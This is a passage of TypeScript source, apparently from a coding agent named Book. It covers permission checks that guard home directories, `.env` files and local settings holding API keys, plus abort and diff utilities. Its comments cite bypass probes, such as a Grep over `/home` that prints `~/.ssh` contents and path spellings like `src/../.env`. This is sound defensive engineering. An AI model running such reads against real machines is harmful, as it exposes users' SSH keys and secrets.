once and remembered. */\n detail(raw: string, includeReadOnly: boolean): ResolvedPathDetail;\n /**\n * Whether a canonical path is one a read may not reach without asking: Book's own local\n * settings under any root, or a path inside a home directory held by the root that serves it.\n */\n isGuarded(canonicalPath: string): boolean;\n /** Whether a Grep or Glob scope reaches a guarded home; see {@link ResolvedPathScope}. */\n scopeReachesHome(canonicalScope: string): boolean;\n}\n\n/** Where a path lands: a resolved file, or the reason no tool may serve it. */\ntype ResolvedPathDetail = ReadablePathDetail;\n\nfunction resolvedPathScope(scope: WorkspaceScope): ResolvedPathScope {\n const detailCache = new Map<string, ResolvedPathDetail>();\n const rootsFor = (includeReadOnly: boolean): PathRoots => ({\n workspaceRoot: scope.root,\n readOnlyRoots: includeReadOnly ? scope.readOnlyRoots : undefined,\n additionalRoots: scope.additionalRoots,\n });\n // Fixed for the evaluation: the roots that hold a home directory of their own, and so may serve a\n // guarded path. Empty for the ordinary case, which is why the common read costs one check.\n // Computed once per root, where the roots are resolved, rather than per evaluation: each\n // `rootHoldsHome` is a `realpath` walk, and a read is judged against a serving root on every\n // call. The roots do not change while a scope lives.\n const holdsHomeByRoot = new Map<string, boolean>();\n const holdsHome = (root: string): boolean => {\n let known = holdsHomeByRoot.get(root);\n if (known === undefined) {\n known = rootHoldsHome(root, scope.homeGuards ?? []);\n holdsHomeByRoot.set(root, known);\n }\n return known;\n };\n const guardedRoots = [scope.root, ...(scope.additionalRoots ?? [])].filter(holdsHome);\n // Which root serves a canonical path, in the order the file tools resolve against them: the\n // workspace first, then the approved directories. The home guard is about the *serving* root,\n // not about every root that happens to contain the path — approving `/home/u` must not re-guard\n // a workspace at `/home/u/proj` that it merely sits above (PR #334 finding 3). Compared in one\n // canonical form on both sides, because the path came from `realpath` and the root is as given.\n const servingRootOf = (canonicalPath: string): string | undefined =>\n [realRootOf(scope), ...(scope.additionalRoots ?? [])].find(\n (root): root is string =>\n typeof root === 'string' && root.length > 0 && isUnderRoot(canonicalPath, root),\n );\n return {\n scope,\n roots: rootsFor,\n detail: (raw, includeReadOnly) => {\n // The cache is keyed by the raw path alone, so a Read and the rule spellings that share\n // one path argument share the resolution; the two only ever differ in which roots they\n // consult, and a Read is the only caller that passes `true` for both.\n const key = `${includeReadOnly ? 'r' : 'w'}\\0${raw}`;\n let known = detailCache.get(key);\n if (!known) {\n known = resolveReadablePathDetail(rootsFor(includeReadOnly), raw);\n detailCache.set(key, known);\n }\n return known;\n },\n isGuarded: (canonicalPath) => {\n const roots = [realRootOf(scope), ...(scope.additionalRoots ?? [])].filter(\n (root): root is string => typeof root === 'string' && root.length > 0,\n );\n // Every root Book serves, not only the workspace: an honored directory carries its own\n // `.book/settings.local.json`, which can hold an API key just as the workspace's does.\n if (roots.some((root) => isBookLocalSettingsPath(canonicalPath, root, { directory: true })))\n return true;\n // The home rule has two halves, and both are load-bearing. The path must land inside a home\n // directory, and the root that *serves* it must hold that home. A root that merely sits\n // below the home — which is nearly every workspace and nearly every project directory —\n // holds nothing and guards nothing; without the first half a workspace under the home would\n // ask for every file it owns, and without the second an approved directory holding a home\n // would be guarded in its entirety, which is not what was approved.\n if (guardedRoots.length === 0) return false;\n if (!pathHoldsHome(canonicalPath, scope.homeGuards ?? [])) return false;\n const serving = servingRootOf(canonicalPath);\n return serving !== undefined && holdsHome(serving);\n },\n /**\n * Whether a Grep or Glob *scope* can reach a guarded home. A scope is a subtree, not a file,\n * so it is guarded when the guarded home is inside it as well as when it is inside the home:\n * `Grep {path: \"/home\"}` reads `~/.ssh` without naming a single file under it (PR #334\n * finding 4). Compared canonically, both ways, because either side may be reached by a link.\n */\n scopeReachesHome: (canonicalScope) => {\n const homes = scope.homeGuards ?? [];\n // The scope *contains* a guarded home, or *is* one. A scope that merely sits *below* a home\n // — which is nearly every workspace and project directory — does not reach it:\n // `containsPath` returning true for \"home contains scope\" is the descent case and is\n // deliberately not consulted here, or the guard would fire on every ordinary read again.\n // This is the reported walk: `Grep {path: \"/home\"}` prints lines from `~/.ssh` and\n // `~/.book` without naming a file under them, and the scope reaches them by containing the\n // home.\n if (homes.some((home) => containsPath(canonicalScope, home))) return true;\n // And the scope sits inside a root that holds a home, so every file it walks is guarded.\n return guardedRoots.some((root) => containsPath(root, canonicalScope));\n },\n };\n}\n\n/**\n * The other spellings of a target path that a rule may have been written against: relative to the\n * root it lands in and absolute, with forward slashes. Inside the workspace that is the\n * workspace-relative form, the absolute path as written, the absolute path after links, and the\n * same relative form against the real workspace root. Outside it, the roots a tool may serve\n * contribute their two absolute spellings — and only the ones they serve, which is why a write\n * that lands in an honored directory gets spellings while a Read into the memory inbox does not.\n *\n * `restrictive` is true for `deny` and `ask`, and it adds the form relative to an honored root the\n * path lands in. A rule written against the workspace — `Write(.env)` — means the `.env` of the\n * root the call writes into, and without this the same rule matched in the workspace and silently\n * did not in `/srv/app` (PR #334 finding 10). It is deliberately *not* added for `allow`: a rule\n * that widens must not acquire a new meaning, or `Edit(src/**)` would come to cover\n * `/srv/app/src/...` — a grant the user never wrote.\n */\nfunction spellingsOfPath(\n paths: ResolvedPathScope,\n raw: string,\n includeReadOnly: boolean,\n restrictive: boolean,\n): string[] {\n const spellings: string[] = [];\n const detail = paths.detail(raw, includeReadOnly);\n if (!('path' in detail)) return [];\n const resolved = detail.path;\n const inWorkspace = resolveWorkspacePath(paths.scope.root, raw) !== null;\n if (inWorkspace) {\n spellings.push(\n resolved.relativePath,\n toPosix(resolved.filePath),\n toPosix(resolved.canonicalPath),\n );\n const realRoot = realRootOf(paths.scope);\n if (realRoot) spellings.push(toPosix(relative(realRoot, resolved.canonicalPath)));\n } else {\n spellings.push(toPosix(resolved.filePath), toPosix(resolved.canonicalPath));\n if (restrictive) {\n for (const root of paths.scope.additionalRoots ?? []) {\n // The root in the path's own canonical form: the path came from `realpath`, and a root as\n // given is a second spelling of it (8.3 short form, drive-letter case, separators) rather\n // than a different place — comparing the two spellings read every relative form as `..`.\n const fromRoot = relative(canonicalizePath(root), resolved.canonicalPath);\n // `..` followed by a separator, not a bare prefix: a sibling directory whose name merely\n // starts with two dots (`..foo`) is inside the root, and `startsWith('..')` calls it\n // outside.\n if (\n !fromRoot ||\n isAbsolute(fromRoot) ||\n fromRoot === '..' ||\n fromRoot.startsWith(`..${sep}`)\n ) {\n continue;\n }\n spellings.push(toPosix(fromRoot));\n }\n }\n }\n return [...new Set(spellings)].filter((spelling) => spelling !== '' && spelling !== raw);\n}\n\n/** The other spellings of a path-rule tool's target; see `spellingsOfPath`. */\nfunction pathRuleSpellings(\n paths: ResolvedPathScope,\n toolName: string,\n args: Record<string, unknown>,\n restrictive: boolean,\n): string[] {\n const raw = pathArgument(toolName, args);\n return raw ? spellingsOfPath(paths, raw, toolName === 'Read', restrictive) : [];\n}\n\n/**\n * Where a Glob reaches: `invalid` with the matcher's reason when the pattern is one it cannot read,\n * `outside` when the walk would answer from anywhere outside the roots the tools serve (`../**`, an\n * absolute path elsewhere), `guarded` when one of those directories holds a home directory, and\n * `servable` otherwise.\n *\n * It asks the walk itself rather than guessing from the pattern, because a pattern can spell a climb\n * in a way only normalization reveals — a globstar segment followed by two parent hops answers from\n * the parent, though it reads as a glob and a hop.\n *\n * Every directory the walk can answer from is judged, not one: a group in the first segment is a\n * segment that has to be matched, so `{link,src}/**` answers from wherever the alternative names\n * and the walk returns from all of them. The worst answer wins, so a pattern naming both a directory\n * in the workspace and one holding `~/.ssh` asks instead of being allowed — the same answer a\n * `Grep` of a scope holding a home directory gives (PR #334 finding 4).\n *\n * A pattern the matcher cannot read at all is its own verdict rather than `outside`. Nothing about\n * the directory is wrong with it: the walk would not have happened, so there is no directory to add\n * and no permission that would have let it, and the caller is told the matcher's own reason.\n */\nfunction globTarget(pattern: string, paths: ResolvedPathScope): ReadToolTargetResult {\n const { refusal, scopes } = globWalkPlan(pattern, paths.scope.root);\n if (refusal) return { target: 'invalid', reason: refusal };\n if (scopes === null) return 'outside';\n let guarded = false;\n for (const scope of scopes) {\n const detail = paths.detail(scope, false);\n if (!('path' in detail)) return 'outside';\n // The scope is a directory, not a file: guarded the same way a Grep scope is (#334 finding 4).\n if (paths.scopeReachesHome(detail.path.canonicalPath)) guarded = true;\n }\n return guarded ? 'guarded' : 'servable';\n}\n\n/** What a Read, Glob or Grep call reaches; see {@link readToolTarget}. */\ntype ReadToolTarget =\n 'servable' | 'outside' | 'guarded' | 'hidden' | 'none' | { target: 'invalid'; reason: string };\n\n/** {@link ReadToolTarget} with the matcher's reason carried beside an unreadable pattern. */\ntype ReadToolTargetResult =\n 'servable' | 'outside' | 'guarded' | { target: 'invalid'; reason: string };\n\n/**\n * What a Read, Glob or Grep call reaches, judged the way the tool judges it: `servable` (the tool\n * can serve it), `outside` (no root contains it, so no approval could make the tool open it),\n * `guarded` (Book's own local settings, or a root that holds a home directory, which keep asking),\n * `hidden` (a root that excludes this subpath, the memory inbox, which also keeps asking), or\n * `none` (no target to judge; the tool rejects the call itself). A Glob whose pattern the matcher\n * cannot read is `{ target: 'invalid', reason }`, which is refused with that reason rather than as\n * an unreachable path.\n */\nfunction readToolTarget(\n toolName: string,\n args: Record<string, unknown>,\n paths: ResolvedPathScope,\n): ReadToolTarget {\n if (toolName === 'Read') {\n const raw = pathArgument(toolName, args);\n if (!raw) return 'none';\n const detail = paths.detail(raw, true);\n if (!('path' in detail)) return detail.reason === 'excluded' ? 'hidden' : 'outside';\n return paths.isGuarded(detail.path.canonicalPath) ? 'guarded' : 'servable';\n }\n if (toolName === 'Glob') {\n const pattern = typeof args.pattern === 'string' ? args.pattern.trim() : '';\n if (!pattern) return 'none';\n // A Glob is judged by every directory its walk answers from, asked of the walk itself rather\n // than guessed from the pattern: `{..,src}/*` and `.{.,x}/*` both answer from the workspace and\n // return nothing outside it, while a globstar or an extglob followed by two parent hops —\n // `*/../../**`, `**/../../**`, `src/*/../../../*.ts` — normalizes to a leading `../` and\n // answers from a parent of it. As is a scope no root serves, which is the same answer a Read of\n // an unreachable path gives.\n return globTarget(pattern, paths);\n }\n // Grep: no path, or `.`, searches the workspace. Grep never reads Book's memory directory.\n const raw = typeof args.path === 'string' ? args.path.trim() : '';\n if (raw === '' || raw === '.') return 'servable';\n const detail = paths.detail(raw, false);\n if (!('path' in detail)) return detail.reason === 'excluded' ? 'hidden' : 'outside';\n if (paths.isGuarded(detail.path.canonicalPath)) return 'guarded';\n // The scope is a directory: guarding only the directory path itself would let `Grep\n // {path: \"/home\"}` print lines from `~/.ssh` without naming a file under it.\n return paths.scopeReachesHome(detail.path.canonicalPath) ? 'guarded' : 'servable';\n}\n\n/**\n * One entry of a rule list, parsed once.\n *\n * Every rule string was re-parsed on every call it was tested against, and each call was tested\n * once per candidate spelling of its path — so a Read of `.env` with ten `Read` rules spent\n * forty `parseRule` calls to make one decision. The parse is a pair of `indexOf`/`slice` calls\n * whose result depends only on the string, so it is done once here and the parsed rules are what\n * the three loops below read. The original text rides along because a verdict reports the rule\n * the user wrote, not a reconstruction of it.\n */\ninterface ListedRule {\n text: string;\n parsed: ParsedRule;\n}\n\ninterface ParsedRuleLists {\n deny: ListedRule[];\n ask: ListedRule[];\n allow: ListedRule[];\n}\n\nfunction parseRuleLists(settings: ResolvedSettings): ParsedRuleLists {\n const list = (texts: readonly string[]): ListedRule[] =>\n texts.map((text) => ({ text, parsed: parseRule(text) }));\n return {\n deny: list(settings.permissions.deny),\n ask: list(settings.permissions.ask),\n allow: list(settings.permissions.allow),\n };\n}\n\n/**\n * Has the user written a deny or ask rule about reading? A Grep or Glob reads files a `Read` rule\n * cannot see (`Grep` with `path: \".env\"` returns every line), so while one exists they keep the\n * default prompt, the way `sandboxAutoAllows` steps aside for any adjudication policy.\n */\nfunction hasReadAdjudication(lists: ParsedRuleLists): boolean {\n return [...lists.deny, ...lists.ask].some(({ parsed }) =>\n WORKSPACE_READ_TOOLS.has(parsed.toolName),\n );\n}\n\n/**\n * Evaluate permission rules against a tool call. Rules are evaluated in\n * CC's order: deny → ask → allow. First match wins.\n *\n * Returns 'allow', 'deny', or 'ask' (the default when no rule matches), or `refuse` for a\n * Read, Glob or Grep target no tool may serve, which no rule and no mode can make servable.\n */\nexport function evaluatePermission(\n toolName: string,\n args: Record<string, unknown>,\n settings: ResolvedSettings,\n options: PermissionEvaluationOptions = {},\n): PermissionVerdict['decision'] {\n return evaluatePermissionDetail(toolName, args, settings, options).decision;\n}\n\nexport function evaluatePermissionDetail(\n toolName: string,\n args: Record<string, unknown>,\n settings: ResolvedSettings,\n options: PermissionEvaluationOptions = {},\n): PermissionVerdict {\n const scope = options.workspace;\n // One resolver per evaluation: every path this call is judged by is resolved once and shared\n // between the rule spellings and the read-target judgment. Nothing survives the call, so the\n // next evaluation resolves again.\n const paths = scope ? resolvedPathScope(scope) : undefined;\n const parsed = parseRuleLists(settings);\n\n // ApplyPatch is the canonical mutation surface, but existing Edit/Write rules\n // remain valid for compatibility. A multi-file patch is allowed only when every\n // target is covered; a deny on any target wins.\n if (toolName === 'ApplyPatch') {\n const operations = patchOperations(args);\n // A Write or Edit rule applies however the patch spells the path (`src/../.env`, absolute).\n // Two sets per target, because `deny`/`ask` are also offered the form relative to an approved\n // root and `allow` is not — see `spellingsOfPath`.\n const spellings = new Map<string, readonly string[]>();\n const restrictiveSpellings = new Map<string, readonly string[]>();\n const spellingsOf = (path: string, restrictive: boolean): readonly string[] => {\n const cache = restrictive ? restrictiveSpellings : spellings;\n let known = cache.get(path);\n if (!known) {\n known = paths ? [path, ...spellingsOfPath(paths, path, false, restrictive)] : [path];\n cache.set(path, known);\n }\n return known;\n };\n const isCompatible = (rule: ParsedRule) =>\n rule.toolName === 'ApplyPatch' || rule.toolName === 'Edit' || rule.toolName === 'Write';\n for (const list of ['deny', 'ask'] as const) {\n for (const entry of parsed[list]) {\n if (!isCompatible(entry.parsed)) continue;\n // `deny` and `ask` fold case on a path, exactly as they do for a `Write` or `Read` that\n // names the same file; `allow` below keeps exact matching, so the fold only ever restricts\n // (PR #334 finding 6).\n if (compatiblePatchRuleMatches(entry.parsed, operations, spellingsOf, true)) {\n return { decision: list, matchedRule: entry.text, source: list };\n }\n }\n }\n const allowRules = parsed.allow.filter(({ parsed: rule }) => isCompatible(rule));\n // Reported exactly as before: the first rule the list declares that names this tool at all,\n // whether or not it is the one that decided the call.\n const firstCompatible = allowRules[0]?.text;\n if (\n operations.length > 0 &&\n operations.every((operation) =>\n allowRules.some(\n ({ parsed: rule }) =>\n patchRuleSupportsOperation(rule, operation) &&\n (rule.pattern === null ||\n ruleMatchesPatch(rule, spellingsOf(operation.path, false), false)),\n ),\n )\n ) {\n return { decision: 'allow', matchedRule: firstCompatible, source: 'allow' };\n }\n if (\n allowRules.some(({ parsed: rule }) => rule.toolName === 'ApplyPatch' && rule.pattern === null)\n ) {\n return { decision: 'allow', matchedRule: firstCompatible, source: 'allow' };\n }\n return { decision: 'ask', source: 'default' };\n }\n\n const tool = canonicalToolName(toolName);\n // A rule about a file applies however the call spells its path: `Read(.env)` must also stop\n // `D:/ws/.env` and `src/../.env`, which the glob on the raw argument misses. Resolved only when\n // a rule names the tool, since resolving touches the file system.\n const candidates: string[] = [getPrimaryArg(args)];\n let restrictiveCandidates: string[] = candidates;\n if (scope && paths && PATH_RULE_TOOLS.has(tool) && rulesName(parsed, tool)) {\n restrictiveCandidates = [...candidates, ...pathRuleSpellings(paths, tool, args, true)];\n // `allow` is offered only the spellings a `Write` would have written: the raw argument, the\n // path as given, and its canonical form. It is not offered the form relative to an honored\n // root, so a workspace-shaped allow such as `Edit(src/**)` cannot come to mean\n // `/srv/app/src/**` — a grant the user never wrote (PR #334 finding 10).\n candidates.push(...pathRuleSpellings(paths, tool, args, false));\n }\n // `deny` and `ask` restrict, so they fold case for a path-rule tool and take the wider set of\n // spellings; `allow` keeps exact matching, because folding there would widen what a rule\n // permits (#305 item 1).\n const matchesRule = (rule: ParsedRule, fold: boolean): boolean => {\n const pool = fold ? restrictiveCandidates : candidates;\n if (tool === 'WebFetch') {\n try {\n // URL.toString() gives origin roots a trailing slash, matching the remembered origin glob.\n const url = new URL(candidates[0]).toString();\n return ruleMatchesCandidate(rule, tool, url, false);\n } catch {\n // Invalid URLs retain the normal raw-argument matching behavior.\n }\n }\n return pool.some((candidate) => ruleMatchesCandidate(rule, tool, candidate, fold));\n };\n // What a Read, Glob or Grep reaches. Judged wherever a refusal may follow from it: in the modes\n // that judge reads, and in `dontAsk`, which refuses the call regardless and must refuse it with\n // the reason that is actually the blocker. Where reads are not judged at all (`auto`,\n // `bypassPermissions`) this stays undefined and nothing here can refuse early.\n const readTarget =\n scope &&\n paths &&\n (scope.judgeReads || scope.refuseUnreachableReads) &&\n WORKSPACE_READ_TOOLS.has(tool)\n ? readToolTarget(tool, args, paths)\n : undefined;\n const unreadablePattern =\n readTarget !== undefined && isUnreadablePattern(readTarget) ? readTarget.reason : undefined;\n const outside = readTarget === 'outside' ? { outsideWorkspace: true as const } : {};\n\n // Deny rules first, then ask, then allow — every one outranking what follows.\n for (const entry of parsed.deny) {\n if (matchesRule(entry.parsed, true)) {\n return { decision: 'deny', matchedRule: entry.text, source: 'deny' };\n }\n }\n for (const entry of parsed.ask) {\n if (matchesRule(entry.parsed, true)) {\n return { decision: 'ask', matchedRule: entry.text, source: 'ask', ...outside };\n }\n }\n for (const entry of parsed.allow) {\n if (matchesRule(entry.parsed, false)) {\n return { decision: 'allow', matchedRule: entry.text, source: 'allow' };\n }\n }\n\n // `sandbox.autoAllowBashIfSandboxed` is evaluated last, and only in place of\n // the *default* ask. Every user-written rule outranks it: a matching `deny`\n // has already returned above and can never be softened into an allow (the\n // property the hard-deny check in the agent loop depends on), a matching\n // `ask` still prompts, and — because a shell line evades globs far too easily\n // — a deny/ask list that exists but did not match keeps the default ask too.\n // The setting only removes the prompt Book raises when the user configured no\n // adjudication at all, and only for a command really confined by bubblewrap.\n if (sandboxAutoAllows(toolName, args, settings, options)) {\n return { decision: 'allow', source: 'sandbox' };\n }\n\n // Reading or searching what the tool can serve needs no prompt in the modes that judge reads\n // (#264); nor does a call with no target at all, which the tool rejects itself with the real\n // reason (a missing argument, or arguments that were not valid JSON). Every user-written rule\n // outranks this: deny and ask returned above.\n if (\n scope?.autoAllowReads &&\n (readTarget === 'none' ||\n (readTarget === 'servable' && (tool === 'Read' || !hasReadAdjudication(parsed))))\n ) {\n return { decision: 'allow', source: 'workspace' };\n }\n\n // A read-only Git call reports on the workspace root and changes nothing, so it needs no\n // prompt in the modes that judge calls (decision B). Deny and ask already returned above, and\n // a workspace that holds a home directory still asks, the way every other read there does.\n if (scope?.autoAllowReads && WORKSPACE_READ_ONLY_GIT_TOOLS.has(tool)) {\n return { decision: 'allow', source: 'workspace' };\n }\n\n if (ALWAYS_ALLOWED_TOOLS.has(tool)) {\n return { decision: 'allow', source: 'default' };\n }\n\n // A pattern the matcher cannot read: the walk would never have started, so the call is refused\n // with the matcher's own reason rather than as an unreachable path — no directory can be added to\n // fix a pattern, and the `additionalDirectories` remedy would send the model somewhere else for\n // nothing. An `ask` rule returned above, so a user who named the pattern still gets asked.\n if (unreadablePattern !== undefined) {\n return { decision: 'refuse', source: 'default', unreadablePattern };\n }\n\n // A target no root contains: the tool refuses it however it is approved, so the call is\n // refused here instead of putting a prompt nobody can satisfy on screen (#305 item 3). An\n // `ask` rule returned above, so a user who named the target still gets asked.\n if (readTarget === 'outside') {\n return { decision: 'refuse', source: 'default', outsideWorkspace: true };\n }\n\n // A target a root serves but excludes — Book's memory inbox. The tool refuses it whatever the\n // user said, so a prompt here is a question with no possible answer, and the `hidden` verdict\n // that already knew as much used to fall through to the default `ask` (#305 item 3). Refused\n // with its own code, because the remedy is not a directory: the parent is served already.\n if (readTarget === 'hidden') {\n return { decision: 'refuse', source: 'default', excludedPath: true };\n }\n\n // No rule matched — default to asking.\n return { decision: 'ask', source: 'default' };\n}\n\n/**\n * Tools that never prompt: the agent's own memory and its checklist. A `deny`\n * rule still blocks them and an `ask` rule still asks, and `dontAsk` does not\n * refuse them, since it only refuses what it would have had to ask about.\n */\nexport const ALWAYS_ALLOWED_TOOLS = new Set(['MemorySave', 'TodoWrite']);\n","export function throwIfAborted(signal?: AbortSignal): void {\n if (!signal?.aborted) return;\n\n if (signal.reason instanceof Error) throw signal.reason;\n throw new Error(typeof signal.reason === 'string' ? signal.reason : 'Operation cancelled');\n}\n\n/**\n * Subscribe to `signal`, returning an unsubscribe function.\n *\n * Fires immediately when the signal has already aborted, so a caller that\n * subscribes after an `await` cannot miss an abort that landed during it.\n * Handlers must be idempotent for that reason.\n */\nexport function onAbort(signal: AbortSignal | undefined, handler: () => void): () => void {\n if (!signal) return () => {};\n if (signal.aborted) {\n handler();\n return () => {};\n }\n signal.addEventListener('abort', handler, { once: true });\n return () => signal.removeEventListener('abort', handler);\n}\n\n/**\n * Sleep, resolving early if `signal` aborts.\n *\n * Resolves rather than throws on abort: callers use it for backoff and check the\n * signal themselves at the point where cancelling changes what they do next.\n */\nexport async function delay(ms: number, signal?: AbortSignal): Promise<void> {\n if (ms <= 0 || signal?.aborted) return;\n await new Promise<void>((resolve) => {\n const timer = setTimeout(() => {\n unsubscribe();\n resolve();\n }, ms);\n const unsubscribe = onAbort(signal, () => {\n clearTimeout(timer);\n resolve();\n });\n });\n}\n\n/** Yield a macrotask so terminal input, Ink rendering, timers, and aborts can run. */\nexport async function yieldToEventLoop(signal?: AbortSignal): Promise<void> {\n throwIfAborted(signal);\n await new Promise<void>((resolve) => setImmediate(resolve));\n throwIfAborted(signal);\n}\n","import { throwIfAborted, yieldToEventLoop } from '../async.js';\n\n/**\n * Minimal unified-diff generator for tool result output.\n * Produces a CC-style snippet: a few context lines around each hunk with\n * `-`/`+` markers. Good enough for ToolCallBlock rendering; not a full diff3.\n */\n\nfunction splitLines(s: string): string[] {\n // Preserve a trailing empty line so edits at EOF render correctly.\n const lines = s.split('\\n');\n if (lines.length > 0 && lines[lines.length - 1] === '') lines.pop();\n return lines;\n}\n\nexport interface DiffHunk {\n oldStart: number;\n newStart: number;\n lines: Array<{ kind: 'ctx' | 'add' | 'del'; text: string }>;\n}\n\nexport interface DiffStats {\n addedLines: number;\n removedLines: number;\n}\n\ninterface DiffOp {\n kind: 'ctx' | 'add' | 'del';\n text: string;\n ai: number;\n bi: number;\n}\n\nconst DIFF_YIELD_CELLS = 32_768;\nconst DIFF_YIELD_ITEMS = 1_024;\n\n/**\n * Lines shared at both ends of the two inputs.\n *\n * The LCS table below is O(n·m) in time and memory, and almost every real\n * edit changes a few lines of a file that is otherwise identical on both\n * sides. Trimming the shared prefix and suffix first turns a one-line edit\n * in a twenty-thousand-line file from a 400M-cell table into a handful.\n */\nfunction commonAffixes(a: string[], b: string[]): { prefix: number; suffix: number } {\n const max = Math.min(a.length, b.length);\n let prefix = 0;\n while (prefix < max && a[prefix] === b[prefix]) prefix++;\n let suffix = 0;\n while (suffix < max - prefix && a[a.length - 1 - suffix] === b[b.length - 1 - suffix]) suffix++;\n return { prefix, suffix };\n}\n\nfunction contextOps(a: string[], from: number, count: number, bOffset: number): DiffOp[] {\n const ops: DiffOp[] = [];\n for (let index = 0; index < count; index++) {\n const ai = from + index;\n ops.push({ kind: 'ctx', text: a[ai], ai, bi: ai + bOffset });\n }\n return ops;\n}\n\n/** Walk a filled LCS table into an edit script, offset into the full inputs. */\nfunction editScript(\n a: string[],\n b: string[],\n dp: ArrayLike<ArrayLike<number>>,\n offset: number,\n): DiffOp[] {\n const n = a.length;\n const m = b.length;\n const ops: DiffOp[] = [];\n let i = 0;\n let j = 0;\n while (i < n && j < m) {\n if (a[i] === b[j]) {\n ops.push({ kind: 'ctx', text: a[i], ai: offset + i, bi: offset + j });\n i++;\n j++;\n } else if (dp[i + 1][j] >= dp[i][j + 1]) {\n ops.push({ kind: 'del', text: a[i], ai: offset + i, bi: offset + j });\n i++;\n } else {\n ops.push({ kind: 'add', text: b[j], ai: offset + i, bi: offset + j });\n j++;\n }\n }\n while (i < n) {\n ops.push({ kind: 'del', text: a[i], ai: offset + i, bi: offset + j });\n i++;\n }\n while (j < m) {\n ops.push({ kind: 'add', text: b[j], ai: offset + i, bi: offset + j });\n j++;\n }\n return ops;\n}\n\n/** Group consecutive non-context ops into hunks, padded by `context` ctx lines. */\nfunction hunkBounds(ops: DiffOp[], context: number): Array<[number, number]> {\n const bounds: Array<[number, number]> = [];\n let k = 0;\n while (k < ops.length) {\n if (ops[k].kind === 'ctx') {\n k++;\n continue;\n }\n const start = k;\n // Walk back context.\n let ctxBefore = 0;\n let s = start - 1;\n while (s >= 0 && ops[s].kind === 'ctx' && ctxBefore < context) {\n s--;\n ctxBefore++;\n }\n // Walk forward through all consecutive non-context ops, then context after.\n let e = start;\n while (e < ops.length && ops[e].kind !== 'ctx') e++;\n let ctxAfter = 0;\n while (e < ops.length && ops[e].kind === 'ctx' && ctxAfter < context) {\n e++;\n ctxAfter++;\n }\n // Two changes closer than twice the context share their context lines, so\n // they are one hunk, as `diff -u` prints them. Walking back from the second\n // would otherwise reach into the first hunk and print those lines twice.\n const previous = bounds.at(-1);\n if (previous && s + 1 <= previous[1]) previous[1] = e;\n else bounds.push([s + 1, e]);\n k = e;\n }\n return bounds;\n}\n\nfunction hunkFrom(ops: DiffOp[], start: number, end: number): DiffHunk {\n const hunkOps = ops.slice(start, end);\n return {\n oldStart: (hunkOps[0]?.ai ?? 0) + 1,\n newStart: (hunkOps[0]?.bi ?? 0) + 1,\n lines: hunkOps.map((o) => ({ kind: o.kind, text: o.text })),\n };\n}\n\n/** Compute a line-level diff between two strings. Returns hunks with context. */\nexport function lineDiff(oldText: string, newText: string, context = 3): DiffHunk[] {\n const a = splitLines(oldText);\n const b = splitLines(newText);\n const { prefix, suffix } = commonAffixes(a, b);\n const midA = a.slice(prefix, a.length - suffix);\n const midB = b.slice(prefix, b.length - suffix);\n\n // LCS-based edit script over the changed span only.\n const n = midA.length;\n const m = midB.length;\n const dp: number[][] = Array.from({ length: n + 1 }, () => new Array(m + 1).fill(0));\n for (let i = n - 1; i >= 0; i--) {\n for (let j = m - 1; j >= 0; j--) {\n dp[i][j] = midA[i] === midB[j] ? dp[i + 1][j + 1] + 1 : Math.max(dp[i + 1][j], dp[i][j + 1]);\n }\n }\n\n const ops = [\n ...contextOps(a, 0, prefix, 0),\n ...editScript(midA, midB, dp, prefix),\n ...contextOps(a, a.length - suffix, suffix, b.length - a.length),\n ];\n return hunkBounds(ops, context).map(([start, end]) => hunkFrom(ops, start, end));\n}\n\n/** Cooperative variant used by agent tools so large diffs do not block Ink. */\nexport async function lineDiffAsync(\n oldText: string,\n newText: string,\n context = 3,\n signal?: AbortSignal,\n): Promise<DiffHunk[]> {\n const a = splitLines(oldText);\n const b = splitLines(newText);\n const { prefix, suffix } = commonAffixes(a, b);\n const midA = a.slice(prefix, a.length - suffix);\n const midB = b.slice(prefix, b.length - suffix);\n const n = midA.length;\n const m = midB.length;\n const dp: number[][] = [];\n\n for (let row = 0; row <= n; row++) {\n dp.push(new Array<number>(m + 1).fill(0));\n if (row > 0 && row % 128 === 0) await yieldToEventLoop(signal);\n }\n\n let cellsUntilYield = DIFF_YIELD_CELLS;\n for (let i = n - 1; i >= 0; i--) {\n for (let j = m - 1; j >= 0; j--) {\n dp[i][j] = midA[i] === midB[j] ? dp[i + 1][j + 1] + 1 : Math.max(dp[i + 1][j], dp[i][j + 1]);\n cellsUntilYield--;\n if (cellsUntilYield === 0) {\n cellsUntilYield = DIFF_YIELD_CELLS;\n await yieldToEventLoop(signal);\n }\n }\n }\n\n throwIfAborted(signal);\n const ops = [\n ...contextOps(a, 0, prefix, 0),\n ...editScript(midA, midB, dp, prefix),\n ...contextOps(a, a.length - suffix, suffix, b.length - a.length),\n ];\n if (ops.length > DIFF_YIELD_ITEMS) await yieldToEventLoop(signal);\n\n const hunks: DiffHunk[] = [];\n for (const [start, end] of hunkBounds(ops, context)) {\n hunks.push(hunkFrom(ops, start, end));\n await yieldToEventLoop(signal);\n }\n\n throwIfAborted(signal);\n return hunks;\n}\n\nexport function diffStatsFromHunks(hunks: DiffHunk[]): DiffStats {\n let addedLines = 0;\n let removedLines = 0;\n for (const hunk of hunks) {\n for (const line of hunk.lines) {\n if (line.kind === 'add') addedLines++;\n if (line.kind === 'del') removedLines++;\n }\n }\n return { addedLines, removedLines };\n}\n\nexport function renderDiffWithStats(\n oldText: string,\n newText: string,\n context = 3,\n): { diff: string; stats: DiffStats } {\n const hunks = lineDiff(oldText, newText, context);\n if (hunks.length === 0) return { diff: '', stats: { addedLines: 0, removedLines: 0 } };\n const out: string[] = [];\n for (const h of hunks) {\n out.push(`@@ -${h.oldStart} +${h.newStart} @@`);\n for (const l of h.lines) {\n const prefix = l.kind === 'add' ? '+' : l.kind === 'del' ? '-' : ' ';\n out.push(prefix + l.text);\n }\n }\n return { diff: out.join('\\n'), stats: diffStatsFromHunks(hunks) };\n}\n\nexport async function renderDiffWithStatsAsync(\n oldText: string,\n newText: string,\n context = 3,\n signal?: AbortSignal,\n): Promise<{ diff: string; stats: DiffStats }> {\n const hunks = await lineDiffAsync(oldText, newText, context, signal);\n if (hunks.length === 0) return { diff: '', stats: { addedLines: 0, removedLines: 0 } };\n\n const out: string[] = [];\n for (let hunkIndex = 0; hunkIndex < hunks.length; hunkIndex++) {\n const hunk = hunks[hunkIndex];\n out.push(`@@ -${hunk.oldStart} +${hunk.newStart} @@`);\n for (let lineIndex = 0; lineIndex < hunk.lines.length; lineIndex++) {\n const line = hunk.lines[lineIndex];\n const prefix = line.kind === 'add' ? '+' : line.kind === 'del' ? '-' : ' ';\n out.push(prefix + line.text);\n if (lineIndex > 0 && lineIndex % 